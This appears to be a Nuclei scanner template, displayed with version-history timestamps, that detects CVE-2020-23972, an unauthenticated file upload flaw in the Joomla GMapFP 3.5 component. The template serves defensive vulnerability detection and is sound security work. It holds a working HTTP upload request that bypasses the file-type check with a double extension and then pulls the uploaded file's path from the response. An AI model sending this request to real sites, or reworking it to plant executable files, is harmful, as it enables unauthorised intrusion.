nuclei-templates/http/cves/2020/CVE-2020-23972.yaml

72 lines
2.7 KiB
YAML
Raw Normal View History

2021-01-02 04:56:15 +00:00
id: CVE-2020-23972
2020-12-01 09:25:33 +00:00
info:
name: Joomla! Component GMapFP 3.5 - Arbitrary File Upload
2020-12-01 09:25:33 +00:00
author: dwisiswant0
severity: high
description: |
Joomla! Component GMapFP 3.5 is vulnerable to arbitrary file upload vulnerabilities. An attacker can access the upload function of the application
without authentication and can upload files because of unrestricted file upload which can be bypassed by changing Content-Type & name file too double ext.
2023-09-06 12:22:36 +00:00
remediation: |
Apply the latest security patch or update to a patched version of Joomla! Component GMapFP 3.5 to mitigate this vulnerability.
reference:
- https://www.exploit-db.com/exploits/49129
- https://raw.githubusercontent.com/me4yoursecurity/Reports/master/README.md
- http://packetstormsecurity.com/files/159072/Joomla-GMapFP-J3.5-J3.5F-Arbitrary-File-Upload.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-23972
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
cvss-score: 7.5
cve-id: CVE-2020-23972
cwe-id: CWE-434
epss-score: 0.61762
epss-percentile: 0.97491
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:gmapfp:gmapfp:j3.5:*:*:*:-:joomla\!:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: gmapfp
product: gmapfp
2023-09-06 12:22:36 +00:00
framework: joomla\!
2023-07-11 19:49:27 +00:00
tags: cve,cve2020,joomla,edb,packetstorm,fileupload,intrusive
2023-07-20 07:43:09 +00:00
variables:
name: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
2020-12-01 09:25:33 +00:00
- |
POST /index.php?option={{component}}&controller=editlieux&tmpl=component&task=upload_image HTTP/1.1
2020-12-01 09:25:33 +00:00
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: {{BaseURL}}
Connection: close
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition: form-data; name="option"
com_gmapfp
------WebKitFormBoundarySHHbUsfCoxlX1bpS
2023-07-20 07:43:09 +00:00
Content-Disposition: form-data; name="image1"; filename="{{name}}.html.gif"
2020-12-01 09:25:33 +00:00
Content-Type: text/html
projectdiscovery
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition: form-data; name="no_html"
no_html
------WebKitFormBoundarySHHbUsfCoxlX1bpS--
payloads:
component:
- "com_gmapfp"
- "comgmapfp"
2020-12-01 09:25:33 +00:00
extractors:
- type: regex
regex:
- "window\\.opener\\.(changeDisplayImage|addphoto)\\(\"(.*?)\"\\);"
2023-07-11 19:49:27 +00:00
part: body
# digest: 4a0a004730450220629f2310e474221f57cc1381a4417551675de4ba16dec5b99e1e37ef64630c51022100eb0b764a26ce10cce6dfe6b6236ef62bb16786cfc83a7e555261b99b91efe519:922c64590222798bb761d5b6d8e72950